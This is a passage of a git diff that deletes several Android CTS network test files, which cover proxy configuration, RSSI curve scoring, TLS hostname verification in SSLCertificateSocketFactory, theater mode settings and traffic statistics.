-        exclList.add("*.exclusion.com");
-        final ProxyInfo proxy2 = ProxyInfo.buildDirectProxy(TEST_HOST, TEST_PORT, exclList);
-
-        assertEquals(TEST_HOST, proxy2.getHost());
-        assertEquals(TEST_PORT, proxy2.getPort());
-        assertArrayEquals(exclList.toArray(new String[0]), proxy2.getExclusionList());
-        assertEquals(Uri.EMPTY, proxy2.getPacFileUrl());
-    }
-
-    @Test @IgnoreUpTo(Build.VERSION_CODES.Q)
-    public void testBuildPacProxy() {
-        final ProxyInfo proxy1 = ProxyInfo.buildPacProxy(TEST_URI);
-
-        assertEquals(LOCAL_HOST, proxy1.getHost());
-        assertEquals(LOCAL_PORT, proxy1.getPort());
-        assertArrayEquals(LOCAL_EXCL_LIST.toLowerCase(Locale.ROOT).split(","),
-                proxy1.getExclusionList());
-        assertEquals(TEST_URI, proxy1.getPacFileUrl());
-
-        final ProxyInfo proxy2 = ProxyInfo.buildPacProxy(TEST_URI, TEST_PORT);
-
-        assertEquals(LOCAL_HOST, proxy2.getHost());
-        assertEquals(TEST_PORT, proxy2.getPort());
-        assertArrayEquals(LOCAL_EXCL_LIST.toLowerCase(Locale.ROOT).split(","),
-                proxy2.getExclusionList());
-        assertEquals(TEST_URI, proxy2.getPacFileUrl());
-    }
-
-    @Test
-    public void testIsValid() {
-        final ProxyInfo proxy1 = ProxyInfo.buildDirectProxy(TEST_HOST, TEST_PORT);
-        assertTrue(proxy1.isValid());
-
-        // Given empty host
-        final ProxyInfo proxy2 = ProxyInfo.buildDirectProxy("", TEST_PORT);
-        assertFalse(proxy2.isValid());
-        // Given invalid host
-        final ProxyInfo proxy3 = ProxyInfo.buildDirectProxy(".invalid.com", TEST_PORT);
-        assertFalse(proxy3.isValid());
-        // Given invalid port.
-        final ProxyInfo proxy4 = ProxyInfo.buildDirectProxy(TEST_HOST, 0);
-        assertFalse(proxy4.isValid());
-        // Given another invalid port
-        final ProxyInfo proxy5 = ProxyInfo.buildDirectProxy(TEST_HOST, 65536);
-        assertFalse(proxy5.isValid());
-        // Given invalid exclusion list
-        final List<String> exclList = new ArrayList<>();
-        exclList.add(".invalid.com");
-        exclList.add("%.test.net");
-        final ProxyInfo proxy6 = ProxyInfo.buildDirectProxy(TEST_HOST, TEST_PORT, exclList);
-        assertFalse(proxy6.isValid());
-    }
-
-    private void checkEmpty(ProxyInfo proxy) {
-        assertNull(proxy.getHost());
-        assertEquals(0, proxy.getPort());
-        assertNull(proxy.getExclusionList());
-        assertEquals(Uri.EMPTY, proxy.getPacFileUrl());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/ProxyTest.java b/tests/tests/net/src/android/net/cts/ProxyTest.java
deleted file mode 100644
index 467d12f..0000000
--- a/tests/tests/net/src/android/net/cts/ProxyTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-
-import android.net.Proxy;
-import android.test.AndroidTestCase;
-
-public class ProxyTest extends AndroidTestCase {
-
-    public void testConstructor() {
-        new Proxy();
-    }
-
-    public void testAccessProperties() {
-        final int minValidPort = 0;
-        final int maxValidPort = 65535;
-        int defaultPort = Proxy.getDefaultPort();
-        if(null == Proxy.getDefaultHost()) {
-            assertEquals(-1, defaultPort);
-        } else {
-            assertTrue(defaultPort >= minValidPort && defaultPort <= maxValidPort);
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/RssiCurveTest.java b/tests/tests/net/src/android/net/cts/RssiCurveTest.java
deleted file mode 100644
index d651b71..0000000
--- a/tests/tests/net/src/android/net/cts/RssiCurveTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.net.RssiCurve;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/** CTS tests for {@link RssiCurve}. */
-@RunWith(AndroidJUnit4.class)
-public class RssiCurveTest {
-
-    @Test
-    public void lookupScore_constantCurve() {
-        // One bucket from rssi=-100 to 100 with score 10.
-        RssiCurve curve = new RssiCurve(-100, 200, new byte[] { 10 });
-        assertThat(curve.lookupScore(-200)).isEqualTo(10);
-        assertThat(curve.lookupScore(-100)).isEqualTo(10);
-        assertThat(curve.lookupScore(0)).isEqualTo(10);
-        assertThat(curve.lookupScore(100)).isEqualTo(10);
-        assertThat(curve.lookupScore(200)).isEqualTo(10);
-    }
-
-    @Test
-    public void lookupScore_changingCurve() {
-        // One bucket from -100 to 0 with score -10, and one bucket from 0 to 100 with score 10.
-        RssiCurve curve = new RssiCurve(-100, 100, new byte[] { -10, 10 });
-        assertThat(curve.lookupScore(-200)).isEqualTo(-10);
-        assertThat(curve.lookupScore(-100)).isEqualTo(-10);
-        assertThat(curve.lookupScore(-50)).isEqualTo(-10);
-        assertThat(curve.lookupScore(0)).isEqualTo(10);
-        assertThat(curve.lookupScore(50)).isEqualTo(10);
-        assertThat(curve.lookupScore(100)).isEqualTo(10);
-        assertThat(curve.lookupScore(200)).isEqualTo(10);
-    }
-
-    @Test
-    public void lookupScore_linearCurve() {
-        // Curve starting at -110, with 15 buckets of width 10 whose scores increases by 10 with
-        // each bucket. The current active network gets a boost of 15 to its RSSI.
-        RssiCurve curve = new RssiCurve(
-                -110,
-                10,
-                new byte[] { -20, -10, 0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120 },
-                15);
-
-        assertThat(curve.lookupScore(-120)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-120, false)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-120, true)).isEqualTo(-20);
-
-        assertThat(curve.lookupScore(-111)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-111, false)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-111, true)).isEqualTo(-10);
-
-        assertThat(curve.lookupScore(-110)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-110, false)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-110, true)).isEqualTo(-10);
-
-        assertThat(curve.lookupScore(-105)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-105, false)).isEqualTo(-20);
-        assertThat(curve.lookupScore(-105, true)).isEqualTo(0);
-
-        assertThat(curve.lookupScore(-100)).isEqualTo(-10);
-        assertThat(curve.lookupScore(-100, false)).isEqualTo(-10);
-        assertThat(curve.lookupScore(-100, true)).isEqualTo(0);
-
-        assertThat(curve.lookupScore(-50)).isEqualTo(40);
-        assertThat(curve.lookupScore(-50, false)).isEqualTo(40);
-        assertThat(curve.lookupScore(-50, true)).isEqualTo(50);
-
-        assertThat(curve.lookupScore(0)).isEqualTo(90);
-        assertThat(curve.lookupScore(0, false)).isEqualTo(90);
-        assertThat(curve.lookupScore(0, true)).isEqualTo(100);
-
-        assertThat(curve.lookupScore(30)).isEqualTo(120);
-        assertThat(curve.lookupScore(30, false)).isEqualTo(120);
-        assertThat(curve.lookupScore(30, true)).isEqualTo(120);
-
-        assertThat(curve.lookupScore(40)).isEqualTo(120);
-        assertThat(curve.lookupScore(40, false)).isEqualTo(120);
-        assertThat(curve.lookupScore(40, true)).isEqualTo(120);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java b/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
deleted file mode 100644
index cbe54f8..0000000
--- a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
+++ /dev/null
@@ -1,348 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.net.SSLCertificateSocketFactory;
-import android.platform.test.annotations.AppModeFull;
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.InetSocketAddress;
-import java.net.Socket;
-import java.net.SocketAddress;
-import java.net.UnknownHostException;
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-import javax.net.ssl.HostnameVerifier;
-import javax.net.ssl.HttpsURLConnection;
-import javax.net.ssl.SSLPeerUnverifiedException;
-import javax.net.ssl.SSLSession;
-import libcore.javax.net.ssl.SSLConfigurationAsserts;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(JUnit4.class)
-public class SSLCertificateSocketFactoryTest {
-    // TEST_HOST should point to a web server with a valid TLS certificate.
-    private static final String TEST_HOST = "www.google.com";
-    private static final int HTTPS_PORT = 443;
-    private HostnameVerifier mDefaultVerifier;
-    private SSLCertificateSocketFactory mSocketFactory;
-    private InetAddress mLocalAddress;
-    // InetAddress obtained by resolving TEST_HOST.
-    private InetAddress mTestHostAddress;
-    // SocketAddress combining mTestHostAddress and HTTPS_PORT.
-    private List<SocketAddress> mTestSocketAddresses;
-
-    @Before
-    public void setUp() {
-        // Expected state before each test method is that
-        // HttpsURLConnection.getDefaultHostnameVerifier() will return the system default.
-        mDefaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
-        mSocketFactory = (SSLCertificateSocketFactory)
-            SSLCertificateSocketFactory.getDefault(1000 /* handshakeTimeoutMillis */);
-        assertNotNull(mSocketFactory);
-        InetAddress[] addresses;
-        try {
-            addresses = InetAddress.getAllByName(TEST_HOST);
-            mTestHostAddress = addresses[0];
-        } catch (UnknownHostException uhe) {
-            throw new AssertionError(
-                "Unable to test SSLCertificateSocketFactory: cannot resolve " + TEST_HOST, uhe);
-        }
-
-        mTestSocketAddresses = Arrays.stream(addresses)
-            .map(addr -> new InetSocketAddress(addr, HTTPS_PORT))
-            .collect(Collectors.toList());
-
-        // Find the local IP address which will be used to connect to TEST_HOST.
-        try {
-            Socket testSocket = new Socket(TEST_HOST, HTTPS_PORT);
-            mLocalAddress = testSocket.getLocalAddress();
-            testSocket.close();
-        } catch (IOException ioe) {
-            throw new AssertionError(""
-                + "Unable to test SSLCertificateSocketFactory: cannot connect to "
-                + TEST_HOST, ioe);
-        }
-    }
-
-    // Restore the system default hostname verifier after each test.
-    @After
-    public void restoreDefaultHostnameVerifier() {
-        HttpsURLConnection.setDefaultHostnameVerifier(mDefaultVerifier);
-    }
-
-    @Test
-    public void testDefaultConfiguration() throws Exception {
-        SSLConfigurationAsserts.assertSSLSocketFactoryDefaultConfiguration(mSocketFactory);
-    }
-
-    @Test
-    public void testAccessProperties() {
-        mSocketFactory.getSupportedCipherSuites();
-        mSocketFactory.getDefaultCipherSuites();
-    }
-
-    /**
-     * Tests the {@code createSocket()} cases which are expected to fail with {@code IOException}.
-     */
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void createSocket_io_error_expected() {
-        // Connect to the localhost HTTPS port. Should result in connection refused IOException
-        // because no service should be listening on that port.
-        InetAddress localhostAddress = InetAddress.getLoopbackAddress();
-        try {
-            mSocketFactory.createSocket(localhostAddress, HTTPS_PORT);
-            fail();
-        } catch (IOException e) {
-            // expected
-        }
-
-        // Same, but also binding to a local address.
-        try {
-            mSocketFactory.createSocket(localhostAddress, HTTPS_PORT, localhostAddress, 0);
-            fail();
-        } catch (IOException e) {
-            // expected
-        }
-
-        // Same, wrapping an existing plain socket which is in an unconnected state.
-        try {
-            Socket socket = new Socket();
-            mSocketFactory.createSocket(socket, "localhost", HTTPS_PORT, true);
-            fail();
-        } catch (IOException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Tests hostname verification for
-     * {@link SSLCertificateSocketFactory#createSocket(String, int)}.
-     *
-     * <p>This method should return a socket which is fully connected (i.e. TLS handshake complete)
-     * and whose peer TLS certificate has been verified to have the correct hostname.
-     *
-     * <p>{@link SSLCertificateSocketFactory} is documented to verify hostnames using
-     * the {@link HostnameVerifier} returned by
-     * {@link HttpsURLConnection#getDefaultHostnameVerifier}, so this test connects twice,
-     * once with the system default {@link HostnameVerifier} which is expected to succeed,
-     * and once after installing a {@link NegativeHostnameVerifier} which will cause
-     * {@link SSLCertificateSocketFactory#verifyHostname} to throw a
-     * {@link SSLPeerUnverifiedException}.
-     *
-     * <p>These tests only test the hostname verification logic in SSLCertificateSocketFactory,
-     * other TLS failure modes and the default HostnameVerifier are tested elsewhere, see
-     * {@link com.squareup.okhttp.internal.tls.HostnameVerifierTest} and
-     * https://android.googlesource.com/platform/external/boringssl/+/refs/heads/master/src/ssl/test
-     *
-     * <p>Tests the following behaviour:-
-     * <ul>
-     * <li>TEST_SERVER is available and has a valid TLS certificate
-     * <li>{@code createSocket()} verifies the remote hostname is correct using
-     *     {@link HttpsURLConnection#getDefaultHostnameVerifier}
-     * <li>{@link SSLPeerUnverifiedException} is thrown when the remote hostname is invalid
-     * </ul>
-     *
-     * <p>See also http://b/2807618.
-     */
-    @Test
-    public void createSocket_simple_with_hostname_verification() throws Exception {
-        Socket socket = mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT);
-        assertConnectedSocket(socket);
-        socket.close();
-
-        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
-        try {
-            mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT);
-            fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
-        }
-    }
-
-    /**
-     * Tests hostname verification for
-     * {@link SSLCertificateSocketFactory#createSocket(Socket, String, int, boolean)}.
-     *
-     * <p>This method should return a socket which is fully connected (i.e. TLS handshake complete)
-     * and whose peer TLS certificate has been verified to have the correct hostname.
-     *
-     * <p>The TLS socket returned is wrapped around the plain socket passed into
-     * {@code createSocket()}.
-     *
-     * <p>See {@link #createSocket_simple_with_hostname_verification()} for test methodology.
-     */
-    @Test
-    public void createSocket_wrapped_with_hostname_verification() throws Exception {
-        Socket underlying = new Socket(TEST_HOST, HTTPS_PORT);
-        Socket socket = mSocketFactory.createSocket(underlying, TEST_HOST, HTTPS_PORT, true);
-        assertConnectedSocket(socket);
-        socket.close();
-
-        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
-        try {
-            underlying = new Socket(TEST_HOST, HTTPS_PORT);
-            mSocketFactory.createSocket(underlying, TEST_HOST, HTTPS_PORT, true);
-            fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
-        }
-    }
-
-    /**
-     * Tests hostname verification for
-     * {@link SSLCertificateSocketFactory#createSocket(String, int, InetAddress, int)}.
-     *
-     * <p>This method should return a socket which is fully connected (i.e. TLS handshake complete)
-     * and whose peer TLS certificate has been verified to have the correct hostname.
-     *
-     * <p>The TLS socket returned is also bound to the local address determined in {@link #setUp} to
-     * be used for connections to TEST_HOST, and a wildcard port.
-     *
-     * <p>See {@link #createSocket_simple_with_hostname_verification()} for test methodology.
-     */
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void createSocket_bound_with_hostname_verification() throws Exception {
-        Socket socket = mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT, mLocalAddress, 0);
-        assertConnectedSocket(socket);
-        socket.close();
-
-        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
-        try {
-            mSocketFactory.createSocket(TEST_HOST, HTTPS_PORT, mLocalAddress, 0);
-            fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
-        }
-    }
-
-    /**
-     * Tests hostname verification for
-     * {@link SSLCertificateSocketFactory#createSocket(InetAddress, int)}.
-     *
-     * <p>This method should return a socket which the documentation describes as "unconnected",
-     * which actually means that the socket is fully connected at the TCP layer but TLS handshaking
-     * and hostname verification have not yet taken place.
-     *
-     * <p>Behaviour is tested by installing a {@link NegativeHostnameVerifier} and by calling
-     * {@link #assertConnectedSocket} to ensure TLS handshaking but no hostname verification takes
-     * place.  Next, {@link SSLCertificateSocketFactory#verifyHostname} is called to ensure
-     * that hostname verification is using the {@link HostnameVerifier} returned by
-     * {@link HttpsURLConnection#getDefaultHostnameVerifier} as documented.
-     *
-     * <p>Tests the following behaviour:-
-     * <ul>
-     * <li>TEST_SERVER is available and has a valid TLS certificate
-     * <li>{@code createSocket()} does not verify the remote hostname
-     * <li>Calling {@link SSLCertificateSocketFactory#verifyHostname} on the returned socket
-     *     throws {@link SSLPeerUnverifiedException} if the remote hostname is invalid
-     * </ul>
-     */
-    @Test
-    public void createSocket_simple_no_hostname_verification() throws Exception{
-        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
-        Socket socket = mSocketFactory.createSocket(mTestHostAddress, HTTPS_PORT);
-        // Need to provide the expected hostname here or the TLS handshake will
-        // be unable to supply SNI to the remote host.
-        mSocketFactory.setHostname(socket, TEST_HOST);
-        assertConnectedSocket(socket);
-        try {
-          SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
-          fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
-        }
-        HttpsURLConnection.setDefaultHostnameVerifier(mDefaultVerifier);
-        SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
-        socket.close();
-    }
-
-    /**
-     * Tests hostname verification for
-     * {@link SSLCertificateSocketFactory#createSocket(InetAddress, int, InetAddress, int)}.
-     *
-     * <p>This method should return a socket which the documentation describes as "unconnected",
-     * which actually means that the socket is fully connected at the TCP layer but TLS handshaking
-     * and hostname verification have not yet taken place.
-     *
-     * <p>The TLS socket returned is also bound to the local address determined in {@link #setUp} to
-     * be used for connections to TEST_HOST, and a wildcard port.
-     *
-     * <p>See {@link #createSocket_simple_no_hostname_verification()} for test methodology.
-     */
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void createSocket_bound_no_hostname_verification() throws Exception{
-        HttpsURLConnection.setDefaultHostnameVerifier(new NegativeHostnameVerifier());
-        Socket socket =
-            mSocketFactory.createSocket(mTestHostAddress, HTTPS_PORT, mLocalAddress, 0);
-        // Need to provide the expected hostname here or the TLS handshake will
-        // be unable to supply SNI to the peer.
-        mSocketFactory.setHostname(socket, TEST_HOST);
-        assertConnectedSocket(socket);
-        try {
-          SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
-          fail();
-        } catch (SSLPeerUnverifiedException expected) {
-            // expected
-        }
-        HttpsURLConnection.setDefaultHostnameVerifier(mDefaultVerifier);
-        SSLCertificateSocketFactory.verifyHostname(socket, TEST_HOST);
-        socket.close();
-    }
-
-    /**
-     * Asserts a socket is fully connected to the expected peer.
-     *
-     * <p>For the variants of createSocket which verify the remote hostname,
-     * {@code socket} should already be fully connected.
-     *
-     * <p>For the non-verifying variants, retrieving the input stream will trigger a TLS handshake
-     * and so may throw an exception, for example if the peer's certificate is invalid.
-     *
-     * <p>Does no hostname verification.
-     */
-    private void assertConnectedSocket(Socket socket) throws Exception {
-        assertNotNull(socket);
-        assertTrue(socket.isConnected());
-        assertNotNull(socket.getInputStream());
-        assertNotNull(socket.getOutputStream());
-        assertTrue(mTestSocketAddresses.contains(socket.getRemoteSocketAddress()));
-    }
-
-    /**
-     * A HostnameVerifier which always returns false to simulate a server returning a
-     * certificate which does not match the expected hostname.
-     */
-    private static class NegativeHostnameVerifier implements HostnameVerifier {
-        @Override
-        public boolean verify(String hostname, SSLSession sslSession) {
-            return false;
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/TheaterModeTest.java b/tests/tests/net/src/android/net/cts/TheaterModeTest.java
deleted file mode 100644
index d1ddeaa..0000000
--- a/tests/tests/net/src/android/net/cts/TheaterModeTest.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-public class TheaterModeTest extends AndroidTestCase {
-    private static final String TAG = "TheaterModeTest";
-    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
-    private static final int TIMEOUT_MS = 10 * 1000;
-    private boolean mHasFeature;
-    private Context mContext;
-    private ContentResolver resolver;
-
-    public void setup() {
-        mContext= getContext();
-        resolver = mContext.getContentResolver();
-        mHasFeature = (mContext.getPackageManager().hasSystemFeature(FEATURE_BLUETOOTH)
-                       || mContext.getPackageManager().hasSystemFeature(FEATURE_WIFI));
-    }
-
-    @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
-    public void testTheaterMode() {
-        setup();
-        if (!mHasFeature) {
-            Log.i(TAG, "The device doesn't support network bluetooth or wifi feature");
-            return;
-        }
-
-        for (int testCount = 0; testCount < 2; testCount++) {
-            if (!doOneTest()) {
-                fail("Theater mode failed to change in " + TIMEOUT_MS + "msec");
-                return;
-            }
-        }
-    }
-
-    private boolean doOneTest() {
-        boolean theaterModeOn = isTheaterModeOn();
-
-        setTheaterModeOn(!theaterModeOn);
-        try {
-            Thread.sleep(TIMEOUT_MS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Sleep time interrupted.", e);
-        }
-
-        if (theaterModeOn == isTheaterModeOn()) {
-            return false;
-        }
-        return true;
-    }
-
-    private void setTheaterModeOn(boolean enabling) {
-        // Change the system setting for theater mode
-        Settings.Global.putInt(resolver, Settings.Global.THEATER_MODE_ON, enabling ? 1 : 0);
-    }
-
-    private boolean isTheaterModeOn() {
-        // Read the system setting for theater mode
-        return Settings.Global.getInt(mContext.getContentResolver(),
-                                      Settings.Global.THEATER_MODE_ON, 0) != 0;
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java b/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
deleted file mode 100755
index 37bdd44..0000000
--- a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
+++ /dev/null
@@ -1,279 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.net.NetworkStats;
-import android.net.TrafficStats;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.util.Range;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class TrafficStatsTest extends AndroidTestCase {
-    private static final String LOG_TAG = "TrafficStatsTest";
-
-    /** Verify the given value is in range [lower, upper] */
-    private void assertInRange(String tag, long value, long lower, long upper) {
-        final Range range = new Range(lower, upper);
-        assertTrue(tag + ": " + value + " is not within range [" + lower + ", " + upper + "]",
-                range.contains(value));
-    }
-
-    public void testValidMobileStats() {
-        // We can't assume a mobile network is even present in this test, so
-        // we simply assert that a valid value is returned.
-
-        assertTrue(TrafficStats.getMobileTxPackets() >= 0);
-        assertTrue(TrafficStats.getMobileRxPackets() >= 0);
-        assertTrue(TrafficStats.getMobileTxBytes() >= 0);
-        assertTrue(TrafficStats.getMobileRxBytes() >= 0);
-    }
-
-    public void testValidTotalStats() {
-        assertTrue(TrafficStats.getTotalTxPackets() >= 0);
-        assertTrue(TrafficStats.getTotalRxPackets() >= 0);
-        assertTrue(TrafficStats.getTotalTxBytes() >= 0);
-        assertTrue(TrafficStats.getTotalRxBytes() >= 0);
-    }
-
-    public void testValidPacketStats() {
-        assertTrue(TrafficStats.getTxPackets("lo") >= 0);
-        assertTrue(TrafficStats.getRxPackets("lo") >= 0);
-    }
-
-    public void testThreadStatsTag() throws Exception {
-        TrafficStats.setThreadStatsTag(0xf00d);
-        assertTrue("Tag didn't stick", TrafficStats.getThreadStatsTag() == 0xf00d);
-
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        new Thread("TrafficStatsTest.testThreadStatsTag") {
-            @Override
-            public void run() {
-                assertTrue("Tag leaked", TrafficStats.getThreadStatsTag() != 0xf00d);
-                TrafficStats.setThreadStatsTag(0xcafe);
-                assertTrue("Tag didn't stick", TrafficStats.getThreadStatsTag() == 0xcafe);
-                latch.countDown();
-            }
-        }.start();
-
-        latch.await(5, TimeUnit.SECONDS);
-        assertTrue("Tag lost", TrafficStats.getThreadStatsTag() == 0xf00d);
-
-        TrafficStats.clearThreadStatsTag();
-        assertTrue("Tag not cleared", TrafficStats.getThreadStatsTag() != 0xf00d);
-    }
-
-    long tcpPacketToIpBytes(long packetCount, long bytes) {
-        // ip header + tcp header + data.
-        // Tcp header is mostly 32. Syn has different tcp options -> 40. Don't care.
-        return packetCount * (20 + 32 + bytes);
-    }
-
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testTrafficStatsForLocalhost() throws IOException {
-        final long mobileTxPacketsBefore = TrafficStats.getMobileTxPackets();
-        final long mobileRxPacketsBefore = TrafficStats.getMobileRxPackets();
-        final long mobileTxBytesBefore = TrafficStats.getMobileTxBytes();
-        final long mobileRxBytesBefore = TrafficStats.getMobileRxBytes();
-        final long totalTxPacketsBefore = TrafficStats.getTotalTxPackets();
-        final long totalRxPacketsBefore = TrafficStats.getTotalRxPackets();
-        final long totalTxBytesBefore = TrafficStats.getTotalTxBytes();
-        final long totalRxBytesBefore = TrafficStats.getTotalRxBytes();
-        final long uidTxBytesBefore = TrafficStats.getUidTxBytes(Process.myUid());
-        final long uidRxBytesBefore = TrafficStats.getUidRxBytes(Process.myUid());
-        final long uidTxPacketsBefore = TrafficStats.getUidTxPackets(Process.myUid());
-        final long uidRxPacketsBefore = TrafficStats.getUidRxPackets(Process.myUid());
-        final long ifaceTxPacketsBefore = TrafficStats.getTxPackets("lo");
-        final long ifaceRxPacketsBefore = TrafficStats.getRxPackets("lo");
-
-        // Transfer 1MB of data across an explicitly localhost socket.
-        final int byteCount = 1024;
-        final int packetCount = 1024;
-
-        TrafficStats.startDataProfiling(null);
-        final ServerSocket server = new ServerSocket(0);
-        new Thread("TrafficStatsTest.testTrafficStatsForLocalhost") {
-            @Override
-            public void run() {
-                try {
-                    final Socket socket = new Socket("localhost", server.getLocalPort());
-                    // Make sure that each write()+flush() turns into a packet:
-                    // disable Nagle.
-                    socket.setTcpNoDelay(true);
-                    final OutputStream out = socket.getOutputStream();
-                    final byte[] buf = new byte[byteCount];
-                    TrafficStats.setThreadStatsTag(0x42);
-                    TrafficStats.tagSocket(socket);
-                    for (int i = 0; i < packetCount; i++) {
-                        out.write(buf);
-                        out.flush();
-                        try {
-                            // Bug: 10668088, Even with Nagle disabled, and flushing the 1024 bytes
-                            // the kernel still regroups data into a larger packet.
-                            Thread.sleep(5);
-                        } catch (InterruptedException e) {
-                        }
-                    }
-                    out.close();
-                    socket.close();
-                } catch (IOException e) {
-                    Log.i(LOG_TAG, "Badness during writes to socket: " + e);
-                }
-            }
-        }.start();
-
-        int read = 0;
-        try {
-            final Socket socket = server.accept();
-            socket.setTcpNoDelay(true);
-            TrafficStats.setThreadStatsTag(0x43);
-            TrafficStats.tagSocket(socket);
-            final InputStream in = socket.getInputStream();
-            final byte[] buf = new byte[byteCount];
-            while (read < byteCount * packetCount) {
-                int n = in.read(buf);
-                assertTrue("Unexpected EOF", n > 0);
-                read += n;
-            }
-        } finally {
-            server.close();
-        }
-        assertTrue("Not all data read back", read >= byteCount * packetCount);
-
-        // It's too fast to call getUidTxBytes function.
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-        }
-        final NetworkStats testStats = TrafficStats.stopDataProfiling(null);
-
-        final long mobileTxPacketsAfter = TrafficStats.getMobileTxPackets();
-        final long mobileRxPacketsAfter = TrafficStats.getMobileRxPackets();
-        final long mobileTxBytesAfter = TrafficStats.getMobileTxBytes();
